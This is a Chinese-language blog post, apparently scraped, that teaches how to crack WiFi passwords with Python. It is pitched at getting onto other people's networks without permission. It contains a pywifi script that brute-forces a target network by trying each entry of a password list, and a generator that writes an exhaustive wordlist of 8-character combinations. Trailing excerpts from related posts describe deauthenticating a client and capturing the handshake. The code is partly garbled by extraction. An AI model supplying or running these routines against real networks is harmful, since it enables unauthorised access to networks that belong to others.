Python 破解 wifi 密碼

2021-09-11 19:36:45 字數 3072 閱讀 2616

想蹭網?不知道wifi密碼?教你如何破解wifi密碼連上wifi

安裝pywifi庫

因為我已經安裝好了,這裡就不展示安裝成功的資訊了

這裡有點注意的地方是有些人命名安裝了pywifiimport pywifi執行的時候卻報錯,我也試過這樣

這裡只需要再安裝乙個comtypes庫就行了,只有三百k左右大小,安裝方法也是pip install 庫就行了,安裝好就可以使用pywifi了

驗證pywifi是否安裝成功,輸入import pywifi,help(pywifi)出現以下資訊就證明安裝成功了

具體**實現:

import pywifi

from pywifi import const # 引入乙個常量

import time

defwificonnect

(wifiname,wifipassword)

: wifi = pywifi.pywifi(

) ifaces = wifi.inte***ces()[

0]# 斷開連線

ifaces.disconnect(

) time.sleep(

0.5)

if ifaces.status(

)== const.iface_disconnected:

# 建立wifi連線檔案

profile = pywifi.profile(

)# wifi名稱

profile.ssid = wifiname

# wifi密碼

profile.key = wifipassword

# wifi的加密演算法

# 網絡卡的開放

profile.auth = const.auth_alg_open

# 加密單元

profile.cipher = const.cipher_type_ccmp

# 刪除所有的wifi檔案

ifaces.remove_all_network_profiles(

)# 設定新的連線檔案

tep_profile = ifaces.add_network_profile(profile)

# 連線wifi

ifaces.connect(tep_profile)

time.sleep(3)

if ifaces.status(

)== const.iface_connected:

return

true

else

:return

false

defread_password()

:'''讀取密碼本'''

print

('開始破解:'

) path =

'd:\超級密碼本.txt'

file

=open

(path,

'r')

# 以唯讀的方式

while

true

:try

:# 按行讀取密碼本

wifipwd =

file

.readline(

)# 第乙個引數是指定 wifi 名稱,第二個引數是讀取的密碼

bool

= wificonnect(

'hello world'

, wifipwd)

ifbool

:print

('密碼正確:'

+ wifipwd)

break

else

:print

('密碼錯誤:'

+ wifipwd)

except

:continue

# 關閉資源

file

.close(

)# 呼叫方法

read_password(

)

效果圖:

密碼正確之後會自動連線到wifi哦,是不是很暴力哈哈,不要隨便亂用哈

附:密碼生成器

import itertools as its

# 自定義密碼生成

words =

"1234567890abcdefghijklmnopqrstuvwxyz!@#$%&*?."

# 生成密碼本的位數,五位數,repeat=5 自定義密碼位數

r = its.product(words, repeat =8)

# 儲存在檔案中,追加

dic =

open

("./password.txt"

,"a"

)# i是元組

for i in r:

# jion空格鏈結

dic.write(

"".join(i)

) dic.write(

"".join(

"\n"))

print

("正在生成密碼......"

)dic.close(

)print

("密碼本已生成"

)

Python破解wifi密碼

提取碼 phbe import time 時間 import pywifi 破解wifi 密碼本路徑 path r c users administrator desktop passwd.txt wifi名稱 wifi name yyy jinan 獲取文字內容 file open path,r ...

wifi密碼破解

iwconfig檢視網絡卡 啟動監聽模式,設定通道 airodump ng wlan0掃瞄周邊熱點 找疾風劍豪這個 得到mac位址 2e 15 e1 28 56 08 準備抓握手包 需要有人連上了目標wifi,把他踢下線,在他重新連線的時候進行抓包操作 airodump ng c 3 bssid 2...

kali破解WIFI密碼

今天我們來學習一下通過kali和乙個好的字典來破解wifi密碼。宣告 此教程僅供學習研究使用,嚴禁使用此技術進行非法行為 首先我們需要乙個具有監聽功能的無線網絡卡 這裡我給大家推薦 rt3070 本章實驗通過虛擬機器vmware進行 先通過services.msc來開啟vmware usb arbi...